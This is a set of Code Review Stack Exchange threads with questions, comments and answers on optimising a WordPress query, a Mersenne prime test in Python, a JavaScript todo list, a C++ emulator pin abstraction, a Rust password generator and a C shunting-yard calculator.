<p>I have WP Query like this:</p> <pre><code> $map_args = array( 'post_type' =&gt; 'spots', 'post_status' =&gt; 'publish', 'posts_per_page' =&gt; -1 ); $markers_query = new WP_Query($map_args); ?&gt; &lt;?php if ($markers_query-&gt;have_posts()) : ?&gt; &lt;?php while ($markers_query-&gt;have_posts()) : $markers_query-&gt;the_post(); $terms = get_the_terms( $post-&gt;ID , 'spots_categories' ); $map_marker = get_field( 'map_marker', $terms[0]-&gt;taxonomy . '_' . $terms[0]-&gt;term_id ); $tooltip_photo = get_the_post_thumbnail($post-&gt;ID, 'thumbnail', array('class' =&gt; 'marker-pop__photo')); $marker_url = esc_url(get_the_permalink()); if ( $spot_location = get_field( 'spot_location' ) ) : $markersArray[] = array($spot_location['lat'], $spot_location['lng'], get_the_title(), 'http://localhost/icamp/app/wp-content/themes/iCamp/images/logo-black.svg', $tooltip_photo, $marker_url ); endif; ?&gt; &lt;?php endwhile; ?&gt; &lt;?php endif; ?&gt; &lt;?php wp_reset_query(); ?&gt; &lt;?php wp_reset_postdata(); ?&gt; </code></pre> <p>'spots' is my custom post type, and 'spots_categories' is my custom taxonomy. I have over 10.000 CPT in spots right now, so that query is really slow. I need all my posts (can't use pagination here), because I need to list that locations on leaflet map (pins with title, thumbnail and custom marker). Is there any better and faster way to list my custom pins with location to leaflet map? That Query is really slow.</p>
[ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-20T00:18:14.433", "Id": "508469", "Score": "4", "body": "Your title is not appropriate because it describes your concern / the kind of review that you are seeking. Your title should uniquely describe what your script does. The `if` before `while` is useless, right?" } ]
[ { "body": "<p>If those <code>get_</code> routines are fetching from the WP database, then that may be the problem. It is better to combine queries together in the database rather than going back and forth between db server had your 'client'.</p>\n", "comments": [ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-04-24T21:47:08.913", "Id": "512998", "Score": "0", "body": "To my understanding, primarly they're shouldn't. By default `WP_Query` updates WP's own (object) cache with taxonomy and meta data related to the queried posts. The `get_` functions hit these caches first and then either fail (empty / null values) or makes a new db query (if key is not present in the cache) and caches its result. `get_field()` is actually probably from Advanced Custom Fields plugin, which is just a user-friendlier layer on top of the default WP `post_meta` functionality." } ], "meta_data": { "CommentCount": "1", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-31T01:36:22.810", "Id": "258907", "ParentId": "257395", "Score": "0" } }, { "body": "<p>The first thing I would consider is saving the resulting <code>$markersArray</code> into a transient - I'm not sure how much data you can fit into one transient, so you might need to split the data into couple of transients. More about transients, <a href=\"https://developer.wordpress.org/apis/handbook/transients/\" rel=\"nofollow noreferrer\">https://developer.wordpress.org/apis/handbook/transients/</a></p>\n<p>The basic idea is to run the costly query once, store the result into one value in the <code>wp_options</code> table, and then use that value on any subsequent requests, skipping the query alltogether.</p>\n<p>But with transient you need to decide when and how you invalidate and rebuild them. Do you give them some lifespan (minutes, hours, days...) and let them recreate themselves whenever the lifespan expires. Or is the transient only recreated whenever you add a new post or update an existing post. Or you could conjure a scheduled action (WP Cron, replaced with system cron for accuracy) that runs the query and updates the transient at a low-traffic time of the day, which can cause delay between post publish/update and the data actually showing on the public view.</p>\n<p>Another option could be to skip the query on the initial php load and move it to an ajax request. So you would first show an empty map, which would get populated by a looping ajax request either to <code>admin-ajax.php</code> or to a custom WP REST Api endpoint. For example first fetch the first 1000 posts, when they're ready the next 1000 (i.e. page 2), and so on until all of the posts / map pins have been fetched. The pin json could then be stored to the user's browser, if needed.</p>\n<p>I'm not a database expert, but I'd imagine you could also add a custom db table to serve as a aggregate table, which would contain appropriate columns for the pins. This table would get populated / updated whenever you would add or update a post - i.e. the <code>save_post_{$post-&gt;post_type}</code> action, <a href=\"https://developer.wordpress.org/reference/hooks/save_post_post-post_type/\" rel=\"nofollow noreferrer\">https://developer.wordpress.org/reference/hooks/save_post_post-post_type/</a>. Then you'd query this aggregate table with <code>$wpdb</code> and get all of the pin data on one go.</p>\n<p>Or instead of an aggragate table or a transient, turn the query result into json and store it into a file, which you could then include and have the map script consume.</p>\n<p>And if not all map pins are needed at the very beginning, get only the pins for the currently visible area with an ajax request when you know the map boundaries. Then fetch more pins when the boundaries change.</p>\n", "comments": [ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-04-26T15:39:02.017", "Id": "513159", "Score": "1", "body": "Thank's for answer. I solved my problem by generate file in .json with all of my spots list by cron once a day. I think that's one of the best solution for that query. I also thought about using transient, but chose that option. The transient option seems very good as well." } ], "meta_data": { "CommentCount": "1", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-04-24T22:22:10.503", "Id": "259963", "ParentId": "257395", "Score": "2" } } ]
{ "AcceptedAnswerId": "259963", "CommentCount": "1", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-19T12:32:09.007", "Id": "257395", "Score": "0", "Tags": [ "php", "wordpress", "leaflet" ], "Title": "Optimizing large WP Query" }
257395
<p>An attempt to find Mersenne primes using the <a href="https://en.wikipedia.org/wiki/Lucas%E2%80%93Lehmer_primality_test" rel="nofollow noreferrer">Lucas-Lehmer primality test</a>:</p> <pre><code>n=int(input(&quot;Enter n to check if 2^n-1 is a prime:&quot;)) a=4 for i in range(0,n-2): b=a**2 a=b-2 if i==n-3: c=(a)%((2**n) - 1) if c==0: print((2**n) - 1 ,&quot;is a prime number&quot;) break if c!=0: print((2**n) - 1 ,&quot;is not a prime number&quot;) </code></pre> <p>Can you critique this code? It is apparent that it needs improvement as it doesnt work for <strong>n&lt;=2</strong> and <em>computing power increases exponentially for increasing n</em>. I have been learning python for less than a year, I am only 15 and would love any feedback on this program.</p> <p>Edit: The confusion with n-2 and n-3 is because we have to check if the <strong>(n-1)th term</strong> in the series is divisible by <strong>l = 2^n - 1</strong> to establish that l is a Mersenne prime. But as you would have noticed the above written code considers the 0th term as 14 which is the 3rd term in the actual series. This means there is a gap of two terms between the actual series and the series procured by the program, therefore to actually study the (n-1)th term in the series , we have to consider the (n-3)th term here. Hence the mess that doesn't allow n to be &lt;=2.</p> <p>Please provide your opinion on this</p>
[ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-19T14:34:22.367", "Id": "508425", "Score": "2", "body": "The solution to the problem with n <= 2 would just be returning `True` for 0 < n <= 2 and `False` for n <= 0?" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-19T14:49:01.427", "Id": "508427", "Score": "1", "body": "For a general review you're in the right place. For a specific solution to the n <= 2 problem you'd unfortunately have to go to another sub-site, though I'm not convinced that it should be SO. Maybe CS." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-19T15:28:30.347", "Id": "508435", "Score": "0", "body": "Is there any way to make the code more efficient? My computer struggles for any n>25" } ]
[ { "body": "<p>The page you linked to has pseudocode, and it does <code>s = ((s × s) − 2) mod M</code>. And right below the pseudocode it says:</p>\n<blockquote>\n<p>Performing the mod M at each iteration ensures that all intermediate results are at most p bits (otherwise the number of bits would double each iteration).</p>\n</blockquote>\n<p>Do that and it'll be much faster.</p>\n<p>And better use the same variable names as in the page you referenced, don't make up new ones, that just obfuscates the connection.</p>\n", "comments": [], "meta_data": { "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-20T03:43:33.137", "Id": "257427", "ParentId": "257397", "Score": "1" } } ]
{ "AcceptedAnswerId": null, "CommentCount": "3", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-19T13:38:28.980", "Id": "257397", "Score": "0", "Tags": [ "python", "performance", "beginner", "mathematics" ], "Title": "Finding Mersenne primes" }
257397
<p>I have been studying front-end development for 2 .5 months, I decided to switch to practice and wrote a todo list in 8 hours</p> <ol> <li>Please write your opinion about the code and how it can be improved (preferably in html, css too, but JS is a priority)</li> <li>I want to start learning React, is it already possible to start or is it better to practice some more JS?</li> </ol> <p>Link to code: <a href="https://codepen.io/domarchuk77/pen/xxRoMBY" rel="nofollow noreferrer">https://codepen.io/domarchuk77/pen/xxRoMBY</a></p> <pre><code>class Task { constructor(){ counter++ this.taskText = document.querySelector(&quot;.todo__settings__input&quot;).value this.task = pattern.cloneNode(true) this.taskList = document.querySelector(&quot;.todo__list&quot;) this.taskList.prepend(this.task) this.taskName = document.querySelector(&quot;.todo__list__item__text&quot;) this.itemProgress = document.querySelector(&quot;.todo__list__item&quot;) this.taskName.innerHTML = this.taskText this.itemProgress.classList.add(&quot;in-progress&quot;) this.taskDelete() this.taskComplete() this.taskFilter() input.value = &quot;&quot; } taskDelete(){ this.buttonDelete = document.querySelector(&quot;.todo__list__item__buttons__finish&quot;) this.buttonDelete.addEventListener(&quot;click&quot;,() =&gt; { this.task.remove() counter-- console.log(counter) if(counter == 0){ this.filter.disabled = true this.filter.value = &quot;all&quot; } }) } taskComplete(){ this.buttonComplete = document.querySelector(&quot;.todo__list__item__buttons__complete&quot;) this.buttonComplete.addEventListener(&quot;click&quot;,() =&gt; { this.buttonComplete.remove() this.itemProgress.classList.add('task-complete') this.filterCheckActive() if(this.itemProgress.classList.contains('in-progress')){ this.itemProgress.classList.remove('in-progress') } }) } taskFilter(){ this.filter = document.querySelector(&quot;.todo__settings__filter&quot;) this.filter.disabled = false this.filter.addEventListener(&quot;change&quot;,() =&gt; { if(this.filter.value == &quot;all&quot;){ this.itemProgress.classList.add('show') }else{ this.itemProgress.classList.remove('hide') } this.filterCheckActive() if(this.filter.value == &quot;complete&quot;){ this.itemProgress.classList.remove('show') this.itemProgress.classList.remove('hide') if(this.itemProgress.classList.contains('in-progress')){ this.itemProgress.classList.add('hide') }else{ this.itemProgress.classList.remove('show') } } }) } filterCheckActive(){ if(this.filter.value == &quot;active&quot;){ this.itemProgress.classList.remove('show') this.itemProgress.classList.remove('hide') if(this.itemProgress.classList.contains('task-complete')){ this.itemProgress.classList.add('hide') }else{ this.itemProgress.classList.remove('show') } } } checkText(){ } } let counter = 0 let pattern = document.querySelector(&quot;.todo__list__item&quot;) pattern.remove() let input = document.querySelector(&quot;.todo__settings__input&quot;) document.querySelector(&quot;.todo__settings__button&quot;).addEventListener(&quot;click&quot;, function(){ if(!(input.value.length == 0)){ new Task } }) </code></pre>
[]
[]
{ "AcceptedAnswerId": null, "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-19T14:58:25.397", "Id": "257399", "Score": "2", "Tags": [ "javascript", "html", "css", "to-do-list" ], "Title": "Todolist in vanillaJS" }
257399
<p>In my Motorola 6809 CPU emulator (written in C++14) I'm working on an abstraction to represent the wiring between emulated devices, such as the ports on a 6522 VIA, or the interrupt lines connecting a peripheral to the CPU.</p> <p>The abstraction uses functional composition. Each <code>OutputPin</code> encapsulates a developer-supplied function that returns the current state of that output. <code>InputPin</code> objects belonging to a different device have a copy of the <code>OutputPin</code> to which they are attached. Each <code>InputPin</code> may only be attached to a single <code>OutputPin</code>, but an <code>OutputPin</code> may be attached to multiple <code>InputPin</code>s.</p> <p>This abstraction is working, and allows for expressive and powerful constructions like this, which does a &quot;wired-and&quot; of three IRQ lines (where one of them is active-high) and attaches it to the CPU's IRQ input and each time the state of that line is tested the composed functions generate the correct result based on the current state of the three inputs:</p> <pre class="lang-cpp prettyprint-override"><code>cpu.IRQ &lt;&lt; (!fdc.DIRQ &amp; via.IRQ &amp; acia.IRQ); </code></pre> <p>and this, which generates an output signal that is the parity of 8 other outputs.</p> <pre class="lang-cpp prettyprint-override"><code>OutputPin parity = out[0] ^ out[1] ^ out[2] ^ out[3] ^ out[4] ^ out[5] ^ out[6] ^ out[7]; </code></pre> <p>My concern, though, is performance. I had hoped that compilers might be able to elide many of the function calls and collapse them into simpler expressions but initial tests with clang 12.0 on macOS don't appear to show any sign of this.</p> <p>Is there anything I could be doing to improve the run-time efficiency, or am I hoping for too much from the compiler's optimiser?</p> <p>Here's the complete implementation as a header with inline functions:</p> <pre class="lang-cpp prettyprint-override"><code>static inline bool default_true() { return true; } class OutputPin { public: using Function = std::function&lt;bool()&gt;; protected: Function f = default_true; public: OutputPin() { } OutputPin(const Function&amp; f) : f(f) { } void bind(const Function&amp; _f) { f = _f; } operator bool() const { return f(); } OutputPin operator !() const { return OutputPin([&amp;]() { return !f(); }); } }; class InputPin { protected: OutputPin input; public: void attach(const OutputPin&amp; _input) { input = _input; } operator bool() const { return input; } }; inline void operator&lt;&lt;(InputPin&amp; in, const OutputPin&amp; out) { in.attach(out); } inline OutputPin operator&amp;(const OutputPin&amp; a, const OutputPin&amp; b) { return OutputPin([=]() { return (bool)a &amp;&amp; (bool)b; }); } inline OutputPin operator|(const OutputPin&amp; a, const OutputPin&amp; b) { return OutputPin([=]() { return (bool)a || (bool)b; }); } inline OutputPin operator^(const OutputPin&amp; a, const OutputPin&amp; b) { return OutputPin([=]() { return (bool)a ^ (bool)b; }); } </code></pre> <p>and here's a trivial test case for the above header (but which generates 60kB of assembler output!):</p> <pre class="lang-cpp prettyprint-override"><code>#include &quot;device.h&quot; int main() { OutputPin a, b, c; InputPin i; i &lt;&lt; (!a &amp; b &amp; c); return i; } </code></pre>
[]
[ { "body": "<h1>Overhead of <code>std::function</code></h1>\n<p>The main problem is that you are using <code>std::function</code>, and this <a href=\"https://stackoverflow.com/questions/5057382/what-is-the-performance-overhead-of-stdfunction\">comes with some overhead</a>. In particular, it will allocate storage (using <code>new</code> internally) since your lambdas are capturing variables. Since memory allocations can have side effects (they might even throw exceptions if memory could not be allocated), the compiler cannot optimize them away.</p>\n<h1>Consider just storing the state of a pin as a <code>bool</code></h1>\n<p>The state of an output pin is just <code>true</code> or <code>false</code>. Instead of storing a function that calculates the state, consider just storing the current state in a <code>bool</code>. It seems unlikely to me that always ensuring the state of the pin is set correctly is less efficient than having a function that calculates it whenever you need the value. An <code>InputPin</code> should then not store a <em>copy</em> of an <code>OutputPin</code>, but either a reference to an <code>OutputPin</code>, or if you want to still be able to have an expression assigned to an <code>InputPin</code>, have it store the function that calculates the input value.\nOnce you do this, everything simplifies enormously, and the compiler will have no trouble optimizing this code.</p>\n<p>Here is an example:</p>\n<pre><code>#include &lt;functional&gt;\n\nusing OutputPin = bool;\n\ntemplate&lt;typename Function&gt;\nclass InputPin {\n Function f;\n\npublic:\n InputPin(const Function &amp;f): f(f) {}\n\n operator bool() const {\n return f();\n }\n};\n\nint main()\n{\n OutputPin a(true), b(true), c(true);\n InputPin i([&amp;]{return !a &amp; b &amp; c;});\n \n return i;\n}\n</code></pre>\n", "comments": [ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-19T22:06:06.293", "Id": "508464", "Score": "0", "body": "I see where you're coming from, but this doesn't allow for the use case in my first example, where the `InputPin` and `OutputPin` variables are actually member variables of the C++ classes representing the various chip devices. If I was able to post-creation assign the `InputPin` function outside of the containing class's implementation that might work, though," }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-19T22:12:53.867", "Id": "508466", "Score": "0", "body": "also to elaborate further - the `OutputPin` variables are part of the public interface of a chip and are read only but the state of the pin itself is part of its private state. Imagine also something like a 6522 where a write of a byte to `ORB` can change 8 output pins at once." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-20T09:47:01.783", "Id": "508505", "Score": "0", "body": "Hm, you could still make `OutputPin` a `class` with an `operator()` to get its state I guess, and then make it a `template` like I did for `InputPin` in the above example. Then the declaration of the `InputPin` in `main()` becomes: `InputPin i([&]{return !a() && b() && c();});`. But I guess the main issue with my approach is that it doesn't work unless your devices are connected in a DAG." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-20T19:56:41.333", "Id": "508531", "Score": "0", "body": "The devices are not necessarily connected in a DAG - in fact in the system I'm currently implementing the VIA port A and keyboard matrix have links running in both directions. Also, specifying the function in the constructor is a non-starter - the function represents \"wiring\" which does not belong in the chip implementations, but in the higher level code that virtually connects the chips together." } ], "meta_data": { "CommentCount": "4", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-19T18:38:24.133", "Id": "257410", "ParentId": "257400", "Score": "1" } } ]
{ "AcceptedAnswerId": null, "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-19T15:10:59.167", "Id": "257400", "Score": "1", "Tags": [ "c++", "performance", "functional-programming" ], "Title": "Abstracting device IO / glue logic in a CPU emulator" }
257400
<p>I've started learning Rust and decided to implement something on my own from scratch. I've implemented a PRNG and I use it to generate random passwords.</p> <p>Project tree:</p> <pre><code>| .gitignore | Cargo.lock | Cargo.toml | +---src | main.rs | password.rs | xorshift.rs | </code></pre> <p><strong>main.rs</strong> :</p> <pre><code>use std::io; mod xorshift; mod password; fn main() { let length : u32; loop{ let mut pass_leng_str = String::new(); println!(&quot;Enter the length of wannable password: &quot;); io::stdin() .read_line(&amp;mut pass_leng_str) .expect(&quot;Faild to read the line&quot;); let pass_leng_str = pass_leng_str.trim(); match pass_leng_str.parse::&lt;u32&gt;(){ Ok(i) =&gt; { length = i; break; }, Err(..) =&gt; { println!(&quot;Not a valid integer!&quot;); }, } } println!(&quot;Enter the characters you want to exclude: &quot;); let mut exclude = String::new(); io::stdin() .read_line(&amp;mut exclude) .expect(&quot;Faild to read the line&quot;); let excluded : Vec&lt;char&gt; = exclude.chars().collect(); println!(&quot;{}&quot;, password::rand_pass(length, excluded)); } </code></pre> <p><strong>password.rs</strong> :</p> <pre><code>use super::xorshift; pub static ASCII : [char; 69] = [ 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', '1','2','3','4', '5','6','7','8', '9','0', '+','-','_','?','!','$','/', ]; pub fn rand_pass(pass_len : u32, excluded : Vec&lt;char&gt;)-&gt; String{ let mut password = String::new(); for _i in 0..pass_len{ let c : char = loop{ let c = ASCII[xorshift::get_rand(69) as usize]; if !excluded.contains(&amp;c){ break c } }; password.push(c); } password } </code></pre> <p><strong>xorshift.rs</strong> :</p> <pre><code>use std::time::UNIX_EPOCH; use std::time::SystemTime; pub fn get_rand(len : u128) -&gt; u128{ let now = SystemTime::now(); let from_unix = now.duration_since(UNIX_EPOCH).expect(&quot;Congrats on time travel!&quot;); let seed = from_unix.as_nanos(); let x = seed; let x = x ^ seed &lt;&lt; 13; let x = x ^ x &gt;&gt;17; let x = x ^ x &lt;&lt;5; let x = x % len; x as u128 } </code></pre>
[]
[ { "body": "<p>Welcome to Rust, and welcome to Code Review!</p>\n<h1><code>rustfmt</code> &amp; <code>clippy</code></h1>\n<p>Always run <code>cargo fmt</code> and <code>cargo clippy</code> first. <a href=\"https://github.com/rust-lang/rustfmt\" rel=\"nofollow noreferrer\"><code>cargo fmt</code></a>\nformats your code according to the official <a href=\"https://github.com/rust-lang/rfcs/blob/master/style-guide/README.md\" rel=\"nofollow noreferrer\">Rust Style Guide</a>, and\n<a href=\"https://github.com/rust-lang/rust-clippy\" rel=\"nofollow noreferrer\"><code>cargo clippy</code></a> detects common mistakes and provides feedback on\nimproving your code (none in this case).</p>\n<h1><code>main.rs</code></h1>\n<p>The biggest problem with the <code>main</code> function is its structure.\nLogically, the job of <code>main</code> is to:</p>\n<ul>\n<li><p>read the length of the password;</p>\n</li>\n<li><p>read the excluded characters; and</p>\n</li>\n<li><p>output the generated password.</p>\n</li>\n</ul>\n<p>You spent so much code on the first step that it is hard to recognize\nat a glance without being familiar with input loops. For readability,\nit is preferable to extract all of this into a function:</p>\n<pre class=\"lang-rust prettyprint-override\"><code>fn input_length() -&gt; usize {\n loop {\n eprintln!(&quot;Enter the length of password: &quot;);\n\n let mut length = String::new();\n io::stdin()\n .read_line(&amp;mut length)\n .expect(&quot;cannot read line&quot;);\n\n match length.trim().parse() {\n Ok(length) =&gt; return length,\n Err(_) =&gt; eprintln!(&quot;Error: invalid length\\n&quot;),\n }\n }\n}\n</code></pre>\n<p>Lengths are usually represented by <code>usize</code> in Rust to avoid type\ncasts, instead of <code>u32</code>.</p>\n<p>It is recommended to define variables as close to their usage as\npossible.</p>\n<p>Personally, I would change all occurrences of <code>println!</code> to\n<code>eprintln!</code> expect the one that actually prints the password, so that\nthe program can be easily used in an automated script by reading\n<code>stdout</code>.</p>\n<p>Moving on, we see that there is no need to extract all characters in\n<code>exclude</code>, a <code>String</code>, into <code>excluded</code>, a <code>Vec&lt;char&gt;</code> (the naming can\nbe improved, by the way). A <code>String</code> encodes the characters in UTF-8,\nwhich is variable-length, so ASCII characters take up only 1 byte\neach, whereas a sequence of <code>char</code>s always stores each character as 4\nbytes. Moreover, UTF-8 is specially constructed so that searching\nrequires only a linear scan and no computation of character\nboundaries, so there is no performance gain.</p>\n<h1><code>password.rs</code></h1>\n<p>It shouldn't be the job of the <code>password</code> module to expose a constant\narray containing ASCII characters. A better name for <code>ASCII</code> may be\n<code>ALLOWED_CHARS</code>.</p>\n<p>The function <code>rand_pass</code> will often be called with the <code>password::</code>\nprefix, so it is not necessary to repeat this information. I would\nname it <code>generate</code>.</p>\n<p>Since the function does not consume <code>excluded</code>, take a <code>&amp;[char]</code>, or\nbetter, <code>&amp;str</code> parameter. See <a href=\"https://stackoverflow.com/q/40006219\">Why is it discouraged to accept a\nreference to a <code>String</code> (<code>&amp;String</code>), <code>Vec</code> (<code>&amp;Vec</code>), or <code>Box</code> (<code>&amp;Box</code>)\nas a function argument?</a>.</p>\n<p>The function can be rewritten in a more logically straightforward\nmanner using iterators:</p>\n<pre class=\"lang-rust prettyprint-override\"><code>use std::iter;\n\npub fn generate(length: usize, excluded: &amp;str) -&gt; String {\n iter::repeat_with(generate_char)\n .filter(|c| !excluded.contains(&amp;c))\n .take(length)\n .collect()\n}\n</code></pre>\n<p>where <code>generate_char</code> is a function <code>Fn() -&gt; char</code> that generates an\nindividual random character in the password, omitted for simplicity.\nThe intent is now clearer.</p>\n<h1><code>xorshift.rs</code></h1>\n<p>A better name for the module might be <code>time_rng</code>.</p>\n<p><code>use</code> declarations can be condensed:</p>\n<pre class=\"lang-rust prettyprint-override\"><code>use std::time::{SystemTime, UNIX_EPOCH};\n</code></pre>\n<p>A mutable variable is more readable to me here:</p>\n<pre class=\"lang-rust prettyprint-override\"><code>let mut x = seed;\nx ^= (seed &lt;&lt; 13);\nx ^= (x &gt;&gt; 17);\nx ^= (x &lt;&lt; 5);\nx % len\n</code></pre>\n<p>It is best to not count on the reader knowing the operator precedence\nhere.</p>\n", "comments": [], "meta_data": { "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-20T09:29:50.737", "Id": "257434", "ParentId": "257404", "Score": "2" } } ]
{ "AcceptedAnswerId": "257434", "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-19T17:29:06.820", "Id": "257404", "Score": "2", "Tags": [ "beginner", "reinventing-the-wheel", "random", "rust" ], "Title": "Pseudo-random number generator & password generator" }
257404
<p>This is a simple arithmetic calculator, which parses mathematical expressions specified in infix notation using the <a href="https://en.wikipedia.org/wiki/Shunting-yard_algorithm" rel="nofollow noreferrer">shunting-yard algorithm</a>. This is one of my personal projects and I would love to receive expert advice.</p> <p>After compiling, you can run the program with one command-line argument:</p> <pre class="lang-sh prettyprint-override"><code>$ calc &lt;arith_expr&gt; </code></pre> <p>This is an example of running the calculator:</p> <pre class="lang-sh prettyprint-override"><code>$ calc &quot;3^2 + 4 * (2 - 1)&quot; </code></pre> <p>The passed arithmetic expression is tokenized and the operands and operators are stored in two different stacks, implemented as linked lists. The calculator currently supports these operators <code>+ - * / ^</code>.</p> <p>In <code>calc.c</code> I have:</p> <pre><code>#include &lt;ctype.h&gt; #include &lt;math.h&gt; #include &lt;stdbool.h&gt; #include &lt;stdio.h&gt; #include &lt;stdlib.h&gt; #include &lt;string.h&gt; #include &quot;stack.h&quot; struct node_float *operands = NULL; struct node_char *operators = NULL; enum token_type { TOKEN_TYPE_OPERATOR, TOKEN_TYPE_OPERAND, }; /* Can store an operator or an operand */ struct token { enum token_type type; union { char operator; float operand; } data; }; /* Return precedence of a given operator */ int prec(char op) { switch (op) { case '+': case '-': return 2; case '*': case '/': return 3; case '^': return 4; default: fprintf(stderr, &quot;Error in %s: invalid operator '%c'\n&quot;, __func__, op); exit(EXIT_FAILURE); } } /* Check if given token is an operator */ bool is_operator(char token) { return token == '+' || token == '-' || token == '*' || token == '/' || token == '^'; } /* Apply mathematical operation to top two elements on the stack */ float eval(char op) { float tmp = pop_float(&amp;operands); switch (op) { case '+': return pop_float(&amp;operands) + tmp; case '-': return pop_float(&amp;operands) - tmp; case '*': return pop_float(&amp;operands) * tmp; case '/': return pop_float(&amp;operands) / tmp; case '^': return pow(pop_float(&amp;operands), tmp); default: fprintf(stderr, &quot;Error in %s: invalid operator '%c'\n&quot;, __func__, op); exit(EXIT_FAILURE); } } /* Remove all spaces from string */ void rmspaces(char *str) { const char *dup = str; do { while (isspace(*dup)) ++dup; } while (*str++ = *dup++); } /* Return first token of given arithmetic expression */ struct token *tokenize(char **expr) { static bool op_allowed = false; struct token *token = malloc(sizeof *token); if (!token) { fprintf(stderr, &quot;Error in %s: memory allocation failed\n&quot;, __func__); exit(EXIT_FAILURE); } if (op_allowed &amp;&amp; is_operator(*expr[0])) { token-&gt;type = TOKEN_TYPE_OPERATOR; token-&gt;data.operator = *expr[0]; ++(*expr); op_allowed = false; } else if (!op_allowed &amp;&amp; *expr[0] == '(') { token-&gt;type = TOKEN_TYPE_OPERATOR; token-&gt;data.operator = *expr[0]; ++(*expr); } else if (op_allowed &amp;&amp; *expr[0] == ')') { token-&gt;type = TOKEN_TYPE_OPERATOR; token-&gt;data.operator = *expr[0]; ++(*expr); } else { token-&gt;type = TOKEN_TYPE_OPERAND; char *rest; token-&gt;data.operand = strtof(*expr, &amp;rest); if (*expr == rest) { fprintf(stderr, &quot;Error in %s: invalid expression\n&quot;, __func__); exit(EXIT_FAILURE); } strcpy(*expr, rest); op_allowed = true; } return token; } /* Handle a given token, which might be an operand or an operator */ void handle_token(struct token *token) { if (token-&gt;type == TOKEN_TYPE_OPERAND) { push_float(&amp;operands, token-&gt;data.operand); } else if (is_operator(token-&gt;data.operator)) { while (operators != NULL &amp;&amp; operators-&gt;data != '(' &amp;&amp; prec(token-&gt;data.operator) &lt;= prec(operators-&gt;data)) { float result = eval(pop_char(&amp;operators)); push_float(&amp;operands, result); } push_char(&amp;operators, token-&gt;data.operator); } else if (token-&gt;data.operator == '(') { push_char(&amp;operators, token-&gt;data.operator); } else if (token-&gt;data.operator == ')') { while (operators != NULL &amp;&amp; operators-&gt;data != '(') { float result = eval(pop_char(&amp;operators)); push_float(&amp;operands, result); } pop_char(&amp;operators); } else { fprintf(stderr, &quot;Error in %s: invalid operator '%c'\n&quot;, __func__, token-&gt;data.operator); exit(EXIT_FAILURE); } } /* Handle command line arguments */ int main(int argc, char *argv[]) { if (argc != 2) { printf(&quot;Usage: %s &lt;arith_expr&gt;\n&quot; &quot;Example: %s \&quot;5 2 3 * +\&quot;\n&quot;, argv[0], argv[0]); return EXIT_FAILURE; } char *expr = argv[1]; rmspaces(expr); struct token *token; while (expr[0] != '\0') { token = tokenize(&amp;expr); handle_token(token); } free(token); while (operators != NULL) { float result = eval(pop_char(&amp;operators)); push_float(&amp;operands, result); } if (operands == NULL || operands-&gt;next != NULL) { fprintf(stderr, &quot;Error in %s: too many operands on stack\n&quot;, __func__); exit(EXIT_FAILURE); } printf(&quot;Result: %f\n&quot;, operands-&gt;data); return EXIT_SUCCESS; } </code></pre> <p>In <code>stack.c</code> I have:</p> <pre><code>#include &lt;stdio.h&gt; #include &lt;stdlib.h&gt; #include &quot;stack.h&quot; /* Push float onto stack */ void push_float(struct node_float **head, float data) { struct node_float *new = malloc(sizeof *new); if (!new) { fprintf(stderr, &quot;Error in %s: memory allocation failed\n&quot;, __func__); exit(EXIT_FAILURE); } new-&gt;data = data; new-&gt;next = *head; *head = new; } /* Pop float from stack */ float pop_float(struct node_float **head) { if (*head == NULL) { fprintf(stderr, &quot;Error in %s: stack underflow\n&quot;, __func__); exit(EXIT_FAILURE); } struct node_float *tmp = *head; float data = tmp-&gt;data; *head = tmp-&gt;next; free(tmp); return data; } /* Push char onto stack */ void push_char(struct node_char **head, char data) { struct node_char *new = malloc(sizeof *new); if (!new) { fprintf(stderr, &quot;Error in %s: memory allocation failed\n&quot;, __func__); exit(EXIT_FAILURE); } new-&gt;data = data; new-&gt;next = *head; *head = new; } /* Pop char from stack */ char pop_char(struct node_char **head) { if (*head == NULL) { fprintf(stderr, &quot;Error in %s: stack underflow\n&quot;, __func__); exit(EXIT_FAILURE); } struct node_char *tmp = *head; char data = tmp-&gt;data; *head = tmp-&gt;next; free(tmp); return data; } </code></pre> <p>In <code>stack.h</code> I have:</p> <pre><code>#ifndef STACK_H #define STACK_H struct node_float { float data; struct node_float *next; }; struct node_char { char data; struct node_char *next; }; /* Push float onto stack */ void push_float(struct node_float **head, float data); /* Pop float from stack */ float pop_float(struct node_float **head); /* Push char onto stack */ void push_char(struct node_char **head, char data); /* Pop char from stack */ char pop_char(struct node_char **head); #endif /* STACK_H */ </code></pre>
[ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-22T11:49:25.523", "Id": "508650", "Score": "0", "body": "Welcome to Stack Review and great first question." } ]
